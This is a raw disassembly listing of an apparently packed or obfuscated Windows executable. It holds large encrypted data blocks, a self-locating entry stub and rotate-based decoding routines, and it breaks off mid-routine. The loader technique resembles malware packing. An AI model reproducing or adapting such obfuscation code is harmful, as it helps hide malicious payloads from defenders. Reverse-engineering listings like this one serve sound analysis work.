		dd 82211CF9h, 0BFEE8B60h, 1000927Fh, 0AD6C4472h, 0E81D49B8h
		dd 4B10C16Ah, 1954AD2h,	7A30B09Bh, 0D13C00D7h, 0B9E641A0h
		dd 4E18AE70h, 0B34171AFh, 0FE6E0F20h, 0C88E87D0h, 401D1C6Fh
		dd 1B45BB74h, 1733494Ah, 8B2D61AAh, 28EE8892h, 0E28B03E3h
		dd 9DBDFEEAh, 0AA3D211Eh, 65C93E00h, 73A54090h,	67230002h
		dd 12258456h, 8B011939h, 0AB4ACA28h, 89817AB0h,	466A4B49h
		dd 80DD3063h, 7B0093E6h, 0D318C368h, 0C8DEA1Eh,	5E149E28h
		dd 0EC3149E1h, 6DB07999h, 5C03498Ah, 0CE1A00ACh, 37421DBAh
		dd 0A6232C00h, 75E324C4h, 0CF160CE2h, 6A304ED3h, 3083000h
		dd 6EDE3AA9h, 9FAC00B5h, 0D76DEB4Dh, 0FB7D6B2Ch, 0F0BDA030h
		dd 28B7D228h, 5CB59Dh, 4A263686h, 0E3B80EA3h, 33110D09h
		dd 0AEC836Bh, 8CE4E8ACh, 8A9D3A9Eh, 0B16D4502h,	0E090B0DDh
		dd 3A070FFEh, 0D2FB3CEBh, 84FE0A0h, 4966014Ch, 0C16DD15Ah
		dd 3CF05091h, 1E0C4B4Dh, 41682A92h, 0B5390095h,	0AE9181DFh
		dd 4D61D33Fh, 0FBB836D9h, 1E98C0h, 3355518Dh, 15494B18h
		dd 98C9E8A4h, 7D280484h, 408CD24Ah, 284A1314h, 60A9EC00h
		dd 0B03FB356h, 0D329C170h, 0D09D7A09h, 33034318h, 0B02D31F5h
		dd 0CE21007Bh, 422406DEh, 98F2862Ch, 43CCDC00h,	0DF919962h
		dd 156F0074h, 4249EFD9h, 14E822DDh, 0ED4C9550h,	15894660h
		dd 0E010EB27h, 0D35E18E5h, 94F71942h, 80D6F507h, 980AE33Fh
		dd 18B8A214h, 1B498FB4h, 0E90C00ACh, 2E9EADA3h,	0BE26E707h
		dd 5103AAE6h, 797B08Ch,	2D8543B1h, 0BDE39118h, 5B418093h
		dd 0ECABDB21h, 8CE06CBh, 813FD34Bh, 0E4769300h,	12B5739Bh
		dd 0B4E33B3Bh, 4E2039EFh, 1F0F5BE1h, 0F7134503h, 0A2597532h
		dd 0D540403Bh, 12BE7674h, 4054D3BBh, 2AC35568h,	0CA0006ECh
		dd 994689F6h, 0FEDB865h, 0E222B788h, 0DCDBCFC0h, 2412128Bh
		dd 0C40926Ch, 3502C107h, 481A00FCh, 0EF768DD7h,	7BE4861Ch
		dd 0D530E461h, 0DD10936Bh, 2738FB54h, 422500A7h, 62BF831Bh
		dd 4B9801F1h, 0D29F171Dh, 16998255h, 0E0F0577Ch, 0EA19D44h
		dd 20EFF67Eh, 5AC0472Fh, 6D2AC8BFh, 4431C964h, 7F068DFCh
		dd 0B8A914E5h, 92E4C073h, 0A25E63Ch, 84BEED44h,	0CD74B800h
		dd 55FE9EBBh, 46F0AC40h, 0C33B000Dh, 7617DA4h, 95099E9Ah
		dd 1014929Dh, 0D47BF17Ch, 9930B650h, 0BCEBA579h, 7766CE00h
		dd 4283F532h, 543E4C4Dh, 0CC75530Ah, 0FFFF5F01h, 6Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53EEEA:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_54222B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 73h
		dd 0CBFFFAh, 3A000000h,	581Ah, 2 dup(0)
		dd 0CF000000h, 144F2Bh,	0
		dd 0E9000000h, 98FFFF99h, 0
		dd 4B000000h, 4Dh, 3 dup(0)
		dd 78000000h, 0FFFA2Dh,	0
		dd 0C000000h, 57FEh, 7 dup(0)
		dd 5D000000h, 32597Fh, 4 dup(0)
		dd 0A6000000h, 0FFFF81h, 4 dup(0)
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Dh dup(0)
		dd 0FD000000h, 0D4005788h, 0FFFF44h, 0
		dd 0D4000000h, 54000000h, 12FFh, 8 dup(0)
		dd 9D000000h, 7944CDh, 0
		dd 3F000000h, 39005961h, 1A48D7h, 2 dup(0)
		dd 0A4000000h, 0
		dd 0FE000000h, 0FFFFFFh, 0
		dd 4000000h, 6A7FFE03h,	77D4C9h, 7 dup(0)
		dd 8A000000h, 6Bh, 0
		dd 1000000h, 0
		dd 88000000h, 4FFFF9Bh,	7FFE03h, 5 dup(0)
		dd 0B877DD00h, 0A1F770Bh, 0B00A08Ch, 4D01F7h, 0
		dd 1A000000h, 43EE004h,	7FFE03h, 2 dup(0)
		dd 4000000h, 7FFE03h, 4	dup(0)
		dd 40000000h, 1C41Fh, 2	dup(0)
		dd 6000000h, 0
		dd 0E4000000h, 0FFA882h, 5 dup(0)
		dd 97000010h, 5B0057F4h, 7D00A091h, 0FFA57Ch, 11000000h
		dd 0FEF85Eh, 2 dup(0)
		dd 5B000000h, 3, 0DD000000h, 0A069h, 30000000h,	60312D34h
		dd 0E025CAh, 2 dup(0)
		dd 15000000h, 0F6BCE9h,	2 dup(0)
		dd 54000000h, 696D6568h, 6164h,	29h dup(0)
		dd 0E6000000h, 9F0Fh, 0
		dd 68000000h, 66h, 4 dup(0)
		dd 7FFD50h, 0
		dd 0DD000000h, 9500A069h, 0A499h, 2 dup(0)
		dd 9C000000h, 2496Bh, 3	dup(0)
		dd 22000000h, 22222222h, 222222h, 3 dup(0)
		dd 0B5000000h, 75h, 5 dup(0)
		dd 0C7000000h, 5B84h, 7	dup(0)
		dd 1D000000h, 5ADBh, 3 dup(0)
		dd 0F000000h, 0A0A0h, 18000000h, 0C5E733h, 7 dup(0)
		dd 35000000h, 0EC4FE345h, 92FFA76Bh, 0A022h, 6 dup(0)
		dd 0CC000000h, 77DD5Eh,	43000000h, 56h,	3 dup(0)
		dd 10000000h, 1FDA34h, 4000000h, 7FFE03h, 0Bh dup(0)
		dd 70000000h, 0F700563Fh, 0F7EEAB7Dh, 77F77Dh, 0Dh dup(0)
		dd 4000000h, 0F7FFE03h,	5789h, 0F000000h, 0A0A0h, 4000000h
		dd 7FFE03h, 0AB024100h,	399A2D98h, 3 dup(0)
		dd 0E9000000h, 0FFFF99h, 8 dup(0)
		dd 44000000h, 77E7A1h, 2 dup(0)
aB__		db 'ì.\.[',0
		align 4
		dd 4000000h, 0A47FFE03h, 7C000003h, 0FF000011h,	0FFFFFFh
		dd 4 dup(0)
		dd 0A4000000h, 4 dup(0)
		dd 1000000h, 0B4h dup(0)
		dd 0AF000000h, 5446h, 18000000h, 4021034h, 0F7FFE03h, 77F52Eh
		dd 3 dup(0)
		dd 0AC000000h, 6F43F3h,	4000000h, 9A7FFE03h, 57FEh, 0
		dd 0EC000000h, 6FA00Ah,	2 dup(0)
		dd 9D000000h, 9A039h, 4	dup(0)
		dd 0AC000000h, 5 dup(0)
		dd 0FD000000h, 5788h, 4000000h,	7FFE03h, 99000000h, 7F77E7A0h
		dd 58ABh, 0
		dd 4E000000h, 5ACCh, 0E0000000h, 5A2Fh,	18000000h, 0FFFFF1h
		dd 0Ah dup(0)
		dd 0DD000000h, 0A069h, 3 dup(0)
		dd 9F00h, 3 dup(0)
		dd 0E0000000h, 12FFh, 5	dup(0)
		dd 8F000000h, 3AFFFF15h, 2300572Bh, 5700h, 0
		dd 54000000h, 12FFh, 2 dup(0)
		dd 4A000000h, 5A77h, 63000000h,	5477FF79h, 572Bh, 4 dup(0)
		dd 4000h, 73000000h, 0CBF7A8h, 0
		dd 0DF000000h, 0CAA9C530h, 0AEB1h, 3 dup(0)
		dd 4F000000h, 0FFA71Bh,	0A000000h, 0B57D71EEh, 77E75Ch
		dd 0Dh dup(0)
		dd 0F1000000h, 0F6E7C4h, 3 dup(0)
		dd 94000000h, 5B4Eh, 0
		dd 68000000h, 9FB1h, 0
		dd 99000000h, 3AC04Fh, 3 dup(0)
		dd 0C5000000h, 0FDAA9Eh, 2 dup(0)
		dd 73000000h, 0CBFFFAh,	4 dup(0)
		dd 37000000h, 0A0A0h, 0Bh dup(0)
		dd 0BA000000h, 39574Fh,	5 dup(0)
		dd 0F0000000h, 77DD59h,	0Ch dup(0)
		dd 0DB000000h, 5A75h, 0
		dd 0F7000000h, 7B4B80h,	5 dup(0)
		dd 0E9000000h, 10FFFF99h, 8019C8h, 3 dup(0)
		dd 77000000h, 5AD7h, 2 dup(0)
		dd 6A000000h, 77D4C9h, 2 dup(0)
		dd 0FC000360h, 8001FCh,	44000000h, 0B077E7A1h, 190FFh
		dd 3 dup(0)
		dd 4000000h, 73000000h,	0CBFFFAh, 8A000000h, 7700006Bh
		dd 12E3C410h, 5798h, 55000000h,	65D267h, 0FC000000h, 8001FCh
		dd 0
		dd 21000000h, 6Eh, 0
		dd 61000000h, 5B2Ch, 0
		dd 31000000h, 0FFA75Bh,	0
		dd 3E000000h, 0A6036Ah,	4 dup(0)
		dd 0CD000000h, 77E776h,	5 dup(0)
		dd 0BD000000h, 1Fh, 3 dup(0)
		dd 89000000h, 1, 0Fh dup(0)
		dd 68000000h, 77E821h, 3 dup(0)
		dd 4000000h, 7FFE03h, 9D000000h, 881886h, 3 dup(0)
		dd 0DD000000h, 6C9948h,	4 dup(0)
		dd 81000000h, 88196Ah, 0B3000000h, 7377F7EBh, 5BC4h, 0CD000000h
		dd 7D881132h, 0D4005A56h, 5AC8h, 6C000000h, 82000000h
		dd 0FC9DE0D7h, 8001FCh,	3 dup(0)
		dd 7B000000h, 0F5028C06h, 0FFEFEDh, 52000000h, 61747365h
		dd 70417472h, 78652E70h, 65h, 0
		dd 0AB000000h, 7F50CBh,	82000000h, 77E78Bh, 4 dup(0)
		dd 8A000000h, 6Bh, 64000000h, 0E977E821h, 8CFFFF99h, 13h dup(0)
		dd 0B0000000h, 1E0FFh, 9 dup(0)
		dd 4025A00h, 7FFE03h, 0
		dd 0DC000000h, 0FF005822h, 36FEF8h, 2 dup(0)
		dd 4000000h, 7FFE03h, 7	dup(0)
		dd 26000000h, 57E0h, 6 dup(0)
		dd 32000000h, 7263E4h, 1000000h, 0
		dd 40000000h, 76B41Bh, 0
		dd 23000000h, 5400h, 0
		dd 25C00h, 5 dup(0)
		dd 0B5000000h, 0FF5F6Dh, 3D000000h, 5B4Eh, 12h dup(0)
		dd 1000000h, 3 dup(0)
		dd 1000000h, 34000000h,	0FD6DE231h, 5E77E7A5h, 0F9BBDDh
		dd 6 dup(0)
		dd 0DC000000h, 36h, 2 dup(0)
		dd 0FF000000h, 0FFh, 4 dup(0)
		dd 0FD000000h, 5788h, 54000000h, 12FFh,	0DC000000h, 36h
		dd 0
		dd 0FC000000h, 8001FCh,	3 dup(0)
		dd 23000000h, 5417h, 0CC000000h, 4BA4C7Dh, 7FFE03h, 4 dup(0)
		dd 0C4000000h, 12FFh, 3	dup(0)
		dd 25A00h, 0A000000h, 0A08Ch, 3	dup(0)
		dd 7A000000h, 0BA0B6Bh,	0A4000000h, 12FFh, 2 dup(0)
		dd 0FC000000h, 0BFFFh, 3 dup(0)
		dd 3A000000h, 7D33A0h, 9 dup(0)
		dd 14000000h, 32004E00h, 6800595Eh, 66h, 6 dup(0)
		dd 8A000000h, 6Bh, 3 dup(0)
		dd 8A000000h, 3700006Bh, 541Fh,	0
		dd 81000000h, 77C1A8h, 0Fh dup(0)
		dd 1000000h, 2 dup(0)
		dd 0E8000000h, 0A123h, 36h dup(0)
		dd 37000000h, 0A09Ch, 0F0000000h, 5427h, 0
		dd 1E000000h, 29B0B886h, 0C4000009h, 0A070h, 0F6000000h
		dd 0F07FFEBFh, 12FFh, 2	dup(0)
		dd 11000000h, 68DF8h, 0A6000000h, 0FFFF81h, 5 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 34000000h, 0A2B1h, 11h dup(0)
		dd 9C77E600h, 2496Bh, 3B000000h, 5400A03Eh, 5923h, 9 dup(0)
		dd 54000000h, 77F512h, 2 dup(0)
		dd 4000000h, 0FFC6D7h, 0
		dd 23000000h, 5400h, 6 dup(0)
		dd 1700h, 5 dup(0)
		dd 68000000h, 0E800A115h, 78000012h, 10h, 0
		dd 90000000h, 12FFh, 3 dup(0)
		dd 0E8000000h, 0BA000007h, 0FF5F6Dh, 3 dup(0)
		dd 23000000h, 5300h, 2 dup(0)
		dd 8000000h, 0C2B773h, 34000000h, 14h, 4000000h, 0E87FFE03h
		dd 77E82Fh, 0C8000000h,	595Eh, 3 dup(0)
		dd 0CC000000h, 27949h, 0F8000000h, 8D000006h, 88678Dh
		dd 0F7000000h, 5B83h, 4	dup(0)
		dd 64000000h, 0A115h, 6	dup(0)
		dd 47000000h, 5903h, 0D8000000h, 0EDBh,	0F1000000h, 0F6E7C4h
		dd 0AE000000h, 547266F7h, 540Bh, 3 dup(0)
		dd 53000000h, 0ED00540Bh, 0FFAC01h, 47000000h, 2BF3A1h
		dd 5 dup(0)
		dd 57000000h, 0E977E7C6h, 1000048h, 9D000000h, 57D6h, 58000000h
		dd 5B19h, 0F000000h, 0A0A0h, 0
		dd 0B3000000h, 0A0005A81h, 0
		dd 41000000h, 5779h, 35000000h,	4FE345h, 4 dup(0)
		dd 0FD000000h, 5788h, 0DC000000h, 5A82h, 0E9000000h, 1177FFFFh
		dd 111111h, 0
		dd 43000000h, 49575C3Ah, 574F444Eh, 79535C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ah dup(0)
		dd 46000000h, 0FFFFFFh,	0
		dd 1000000h, 0
		dd 37000000h, 40F050h, 3 dup(0)
		dd 1F000000h, 53F6h, 2 dup(0)
		dd 0FD000000h, 5788h, 0
		dd 1000000h, 0
		dd 1600h, 3 dup(0)
		dd 4000000h, 547FFE03h,	9FD5h, 3F000000h, 397734B7h, 317686h
		dd 1D000000h, 0FA41ECCh, 0A0A0h, 45000000h, 0A031h, 6 dup(0)
		dd 0D7000000h, 77DD23h,	0FC000000h, 0FFFFFFh, 19000000h
		dd 4 dup(0)
		dd 25B00h, 4000000h, 7FFE03h, 0Dh dup(0)
		dd 0ED000000h, 0B5FFFF99h, 91h,	87h dup(0)
		dd 0DE000000h, 3 dup(0)
		dd 0F1000000h, 0FF5F5Fh, 0
		dd 0B6000000h, 33E1ECh,	51000000h, 5777h, 110003C6h, 238EA1h
		dd 7 dup(0)
		dd 0D7000000h, 14h, 4 dup(0)
		dd 1000000h, 4 dup(0)
		dd 32000000h, 5841h, 0
		dd 90000000h, 77E827h, 2 dup(0)
		dd 8D000000h, 28C68Dh, 0CC000000h, 67000000h, 0C1466Fh
		dd 0
		dd 0A4000000h, 12FFh, 0AC000000h, 0E400A29Bh, 0E088F3h
		dd 0
		dd 0E9000000h, 0E70001C1h, 5A97h, 0B0000000h, 0A06Ch, 0
		dd 10000000h, 1FDA34h, 0FE000000h, 387695F3h, 0FFFF33h
		dd 2 dup(0)
		dd 0DD000000h, 0A069h, 0
		dd 0E4000000h, 0E97A49D6h, 277EBA6h, 12h, 9 dup(0)
		dd 13000000h, 6B7FFDBBh, 53FCh,	0
		dd 73000000h, 0CBFFFAh,	14h dup(0)
		dd 0FD000000h, 129FFh, 7 dup(0)
		dd 0CC000000h, 0DFFFFFA2h, 0A9C530h, 63h dup(0)
		dd 4000000h, 7FFE03h, 5	dup(0)
		dd 0B0000000h, 190FFh, 0
		dd 6C201Eh, 2Dh	dup(0)
		dd 6E000000h, 0CD2C4Bh,	2 dup(0)
		dd 23000000h, 5300h, 7 dup(0)
		dd 0DF000000h, 4EC4E5h,	6 dup(0)
		dd 8D000000h, 5700h, 2 dup(0)
		dd 0DD000000h, 0A069h, 0
		dd 15000000h, 0C3h, 7 dup(0)
		dd 54000000h, 0FF0012FFh, 1292Fh, 4 dup(0)
		dd 0E8000000h, 8, 5 dup(0)
		dd 8C000000h, 0B4E8h, 5000000h,	6F0A2801h, 90D8D9h, 3 dup(0)
		dd 0C1000000h, 5764h, 7	dup(0)
		dd 0B0000000h, 7800001Dh, 0FB000000h, 0F7F580h,	3 dup(0)
		dd 3D000000h, 5B4Eh, 7B000000h,	3000006Bh, 900059F2h, 1200h
		dd 8A000000h, 0DD00006Bh, 0A069h, 0FF000000h, 0FFFFFFh
		dd 0A7000000h, 1286BB8Ch, 5798h, 2 dup(0)
		dd 8C000000h, 15000h, 2	dup(0)
		dd 16000000h, 5F911h, 0
		dd 0A5000000h, 5ACBh, 2Eh dup(0)
		dd 1000000h, 0
		dd 8A000000h, 6Bh, 7 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0E7000000h, 0BAh, 2 dup(0)
		dd 70000000h, 0D6F7Ah, 8 dup(0)
		dd 34000000h, 2300A092h, 9D000000h, 9C0001h, 0
		dd 57000000h, 5884h, 2 dup(0)
		dd 0A0000000h, 0E9000003h, 15Fh, 2 dup(0)
		dd 2000000h, 14000000h,	0E00h, 0DC000000h, 802E5ECEh, 0Eh
		dd 0C3000000h, 0EDBh, 3	dup(0)
		dd 0A2000000h, 5E86A9h,	3 dup(0)
		dd 2B000000h, 2	dup(0)
		dd 0DD000000h, 0A069h, 5 dup(0)
		dd 21000000h, 212121h, 8F000000h, 595Eh, 6 dup(0)
		dd 0F6000000h, 30E293h,	0EB000000h, 0AB204h, 0
		dd 2 dup(1000000h), 73000000h, 0A3CBFFFAh, 0B0005AEBh
		dd 0A800A06Ch, 0Bh dup(0)
		dd 23000000h, 85005400h, 44518Eh, 0
		dd 14000000h, 5894h, 0C277D400h, 0AC4371h, 0C7000000h
		dd 73195Dh, 3 dup(0)
		dd 8000000h, 0E8D5B7B6h, 77E82Fh, 5 dup(0)
		dd 1000000h, 6 dup(0)
		dd 0B5000000h, 77E75Ch,	75000000h, 5AEDh, 4 dup(0)
		dd 86000000h, 77E7C4h, 0
		dd 0E8000000h, 5C049Fh,	6 dup(0)
		dd 2C000000h, 1E444DBBh, 2C56E4h, 8 dup(0)
		dd 0ED000000h, 0FFFFFBh, 6 dup(0)
		dd 0E9000000h, 0CBE399h, 54000000h, 0FD00A131h,	572Dh
		dd 1D000000h, 53076Ah, 0DC000000h, 0FFFFA1h, 2A000000h
		dd 57A3h, 0
		dd 0C2000000h, 9E0D6Ah,	0
		dd 28C00h, 2 dup(0)
		dd 0E5000000h, 14976846h, 1E00005Dh, 5BF0h, 0AD000000h
		dd 572Dh, 2000000h, 5 dup(0)
		dd 0CC000000h, 0F7005BFFh, 0D000A009h, 0DFFFFFA2h, 30h
		dd 0
		dd 0BF000000h, 6B290Dh,	6 dup(0)
		dd 94000000h, 2, 32000000h, 5AE2h, 4 dup(0)
		dd 0FB000000h, 125C8Fh,	0
		dd 0AF000000h, 9501A700h, 56A123h, 29h dup(0)
		dd 90000000h, 77E827h, 6 dup(0)
		dd 0FF000000h, 0A3F393h, 4 dup(0)
		dd 6A000000h, 579Ch, 0
		dd 88000000h, 6	dup(0)
		dd 3F000000h, 77E7A1h, 0
		dd 1900B700h, 731A98h, 3 dup(0)
		dd 0E7000000h, 0A4A5h, 5C000000h, 64F45FFEh, 0FFA6CDh
		dd 9 dup(0)
		dd 7C000000h, 7	dup(0)
		dd 59000000h, 2884FDh, 14h dup(0)
		dd 0E9000000h, 148h, 0
		dd 9F000000h, 57A6h, 0E4000000h, 7400546Fh, 43005934h
		dd 68000056h, 8777E83Eh, 0F00599Ah, 930057BEh, 0D000A093h
		dd 0E4Ah, 6 dup(0)
		dd 2000000h, 13032h, 9 dup(0)
		dd 0DE000000h, 0F00A02Bh, 0A0A0h, 0
		dd 59000000h, 0F62884FDh, 849ACDFCh, 5 dup(0)
		dd 0FD000000h, 36FCB280h, 363636h, 5B00h, 2 dup(0)
		dd 59000000h, 35732026h, 0FA0040FEh, 26525h, 5 dup(0)
		dd 4B000000h, 45h, 1D000000h, 0FF6FFAC5h, 1Fh, 9 dup(0)
		dd 0DD0h, 74000000h, 6 dup(0)
		dd 5C000000h, 7EF405h, 9 dup(0)
		dd 0CC025900h, 51141Ah,	0Ch dup(0)
		dd 0FC000000h, 5BBEh, 5	dup(0)
		dd 9A000000h, 9777DD18h, 0B8090D77h, 0
		dd 374C00Bh, 8B0018C2h,	530C2444h, 0E8h, 0C3815B00h, 17h
		dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF00A0h, 424448Bh
		dd 0E0FFh, 12h dup(0)
		dd 0A0000000h, 6A0A2Eh,	9 dup(0)
		dd 54000000h, 12FFh, 2 dup(0)
		dd 60000000h, 90BE0616h, 0Fh, 6	dup(0)
		dd 0AD000000h, 5A56h, 7F000000h, 0FFDCB2h, 4 dup(0)
		dd 0FD000000h, 34005788h, 0A2B1h, 3 dup(0)
		dd 8A000000h, 0B02E6412h, 5430h, 2 dup(0)
		dd 8002B0h, 2 dup(0)
		dd 74000000h, 865559h, 3 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0ED000000h, 12C8F56h, 5 dup(0)
		dd 6C000000h, 0FFAB47h,	63000000h, 77E779h, 7 dup(0)
		dd 80000000h, 0D1FFA6EBh, 0FC000007h, 0FFFF98h,	0Ah dup(0)
		dd 77004000h, 5401h, 9 dup(0)
		dd 60000000h, 0A115h, 40000000h, 0FFA534h, 13h dup(0)
		dd 0D8000000h, 77E805h,	5E000000h, 77E7ACh, 0
		dd 82000000h, 77E78Bh, 0Eh dup(0)
		dd 0B0000000h, 200FFh, 0
		dd 24000000h, 242424h, 94000000h, 7 dup(0)
		dd 33000000h, 2	dup(33333333h),	0D4333333h, 5AC8h, 2 dup(0)
		dd 0EF000000h, 0E877E793h, 0B2h, 8 dup(0)
		dd 0AE00h, 4 dup(0)
		dd 2000000h, 0B8000000h, 0DBCD4h, 2 dup(0)
		dd 20000000h, 577Dh, 18000000h,	0FFFFF8h, 4000000h, 0FDE110h
		dd 2 dup(0)
		dd 0F5000000h, 0AA6081h, 0
		dd 5D000000h, 5699h, 19h dup(0)
		dd 0B0000000h, 0F8005709h, 542Ch, 6 dup(0)
		dd 48000000h, 0Dh, 6 dup(0)
		dd 93000000h, 5990h, 0
		dd 73000000h, 0CBFFFAh,	8 dup(0)
		dd 0D5000000h, 0CD00572Dh, 396F79h, 0BD000000h,	40FFh
		dd 0
		dd 4000000h, 537FFE03h,	0A48Dh,	5 dup(0)
		dd 0E8000000h, 77DBBEh,	77F500h, 3 dup(0)
		dd 0F1000000h, 0DB0E9C8Ch, 682E5EA1h, 8C77E821h, 4005725h
		dd 7FFE03h, 2 dup(0)
		dd 44000000h, 9C005A62h, 7 dup(0)
		dd 0B1000000h, 58E4h, 5	dup(0)
		dd 0C000000h, 57C5h, 3 dup(0)
		dd 0E9000000h, 17FFFF99h, 96E304h, 8 dup(0)
		dd 0F0000000h, 0D8005427h, 0A27Fh, 0EC000000h, 8009F0h
		dd 0
		dd 0FF000000h, 0FFFFFFh, 3 dup(0)
		dd 6B000000h, 541Ah, 0FFFF00h, 6 dup(0)
		dd 4000000h, 0FF7FFE03h, 34C8EEh, 6 dup(0)
		dd 12000000h, 5798h, 6 dup(0)
		dd 0A0000000h, 2E000000h, 0A05Eh, 4 dup(0)
		dd 0D8000000h, 6004001h, 77E6D7h, 0
		dd 3B000000h, 0A03Eh, 0FF000000h, 7Fh, 7C000000h, 0E0C526h
		dd 8 dup(0)
		dd 0C7000000h, 102E65h,	4 dup(0)
		dd 0EA000000h, 57FEh, 0Eh dup(0)
		dd 4000000h, 35000000h,	57F5h, 0Fh dup(0)
		dd 60000000h, 12FFh, 4004010h, 147FFE03h, 0B005AFDh, 77F518h
		dd 0FD000000h, 0FE005788h, 400B0A1h, 877FFE03h,	5875h
		dd 0Dh dup(0)
		dd 90000000h, 0
		dd 18000000h, 0F2BA50h,	3 dup(0)
		dd 0FE000000h, 587FFFFFh, 5FC6C3h, 0
		dd 99000000h, 0A094h, 2	dup(0)
		dd 0C000000h, 24100h, 8	dup(0)
		dd 0AF000000h, 5403h, 8	dup(0)
		dd 0A4000000h, 0DBFFFF9Ch, 5674F101h, 9E00A0FAh, 598Ah
		dd 0
		dd 71000000h, 769BA5h, 8A000000h, 5D00006Bh, 57D4h, 0
		dd 2B004DE0h, 68AC29B8h, 0A132h, 2 dup(0)
		dd 9E000000h, 54C9A3F5h, 12FFh,	4000000h, 0C47FFE03h, 5Ch
		dd 0AC000000h, 0FFED00h, 4 dup(0)
		dd 16000000h, 0DD00A273h, 1400A069h, 7FF60Fh, 0
		dd 0F4000000h, 0AF8005F6h, 0FCDDEEh, 6 dup(0)
		dd 0A9000000h, 33h, 9 dup(0)
		dd 0EB000000h, 5C5C1Eh,	4 dup(0)
		dd 8E000000h, 0FFFF7Dh,	7 dup(0)
		dd 95000000h, 0B67FFFA7h, 5797h, 2 dup(0)
		dd 9B000000h, 0FFFF59h,	2 dup(0)
		dd 894C00h, 0
		dd 0EC000000h, 0FFB1FFh, 4 dup(0)
		dd 70000000h, 73000000h, 0CBF7A8h, 3 dup(0)
		dd 8A000000h, 6Bh, 21000000h, 4964258h,	7FFE03h, 4000000h
		dd 957FFE03h, 8FDA7h, 0CC000000h, 5BFFh, 4 dup(0)
		dd 0D8000000h, 0FFFF95h, 2 dup(0)
		dd 4000000h, 7FFE03h, 0F8000000h, 542Ch, 0
		dd 5000000h, 4 dup(0)
		dd 1000000h, 0
		dd 1D000000h, 3D9D85h, 3 dup(0)
		dd 4000000h, 4 dup(0)
		dd 80000000h, 0CB000000h, 6814h, 4 dup(0)
		dd 15001C20h, 26552h, 0
		dd 0BC000000h, 0AFFFFFE6h, 59B4h, 4000000h, 7FFE03h, 23000000h
		dd 0DC005400h, 0FFFFA1h, 4 dup(0)
		dd 0F5000000h, 31E0E5h,	0Dh dup(0)
		dd 0F000000h, 0A0A0h, 68000000h, 23Eh, 2 dup(0)
		dd 41000000h, 5779h, 2 dup(0)
		dd 0B4000000h, 9 dup(0)
		dd 0C4000000h, 0A36CF32h, 4A02817h, 18000003h, 7277E806h
		dd 0CBF7A8h, 2 dup(0)
		dd 95000000h, 1C3A2Eh, 0
		dd 40000000h, 0FFA6A8h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54222B:				; CODE XREF: start:loc_53EEEAj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 64D334Bh
		mov	[ebp+64D116Dh],	edx
		mov	[ebp+64D2F3Dh],	esi
		mov	[ebp+64D1395h],	eax
		cmp	dword ptr [ebp+64D034Dh], 0
		jz	short loc_542263
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_542263:				; CODE XREF: start+62241j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+64D0A4Dh],	eax
		push	45h
		call	sub_542317
		push	783749Ah
		call	sub_54235D
		push	0A894B25h
		call	sub_54235D
		jmp	loc_5424A1
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_542317	proc near		; CODE XREF: start+6225Bp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 64D3439h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_542333:				; CODE XREF: sub_542317+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_542352
		mov	eax, [ebp+arg_0]
		mov	[ebx+64D33A3h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_542333
; ---------------------------------------------------------------------------

loc_542352:				; CODE XREF: sub_542317+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_542317	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54235D	proc near		; CODE XREF: start+62265p start+6226Fp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 64D3482h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_542383:				; CODE XREF: sub_54235D+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_542383
		mov	[ebp+var_84], 0
		lea	edi, [edx+64D33A3h]
		lea	esi, [ebp+var_80]

loc_5423B3:				; CODE XREF: sub_54235D+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_5423BF:				; CODE XREF: sub_54235D+69j
		rcl	eax, cl
		mov	cl, [edi]
